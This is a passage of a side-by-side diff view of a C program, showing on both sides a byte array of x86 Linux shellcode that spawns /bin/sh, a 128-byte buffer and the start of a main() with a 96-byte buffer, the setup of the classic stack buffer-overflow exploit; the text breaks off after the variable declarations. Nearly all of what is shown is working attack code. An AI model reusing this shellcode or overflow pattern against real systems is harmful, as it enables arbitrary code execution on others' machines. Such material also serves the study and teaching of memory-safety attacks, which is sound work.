equal
deleted
inserted
replaced
1 char shellcode[] = |
1 char shellcode[] = |
2 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" |
2 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89" |
3 "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" |
3 "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c" |
4 "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" |
4 "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" |
5 "\xff\xff/bin/sh"; |
5 "\xff\xff/bin/sh"; |
|
6 |
6 char large_string[128]; |
7 char large_string[128]; |
7 |
8 |
8 void main() { |
9 void main() { |
9 char buffer[96]; |
10 char buffer[96]; |
10 int i; |
11 int i; |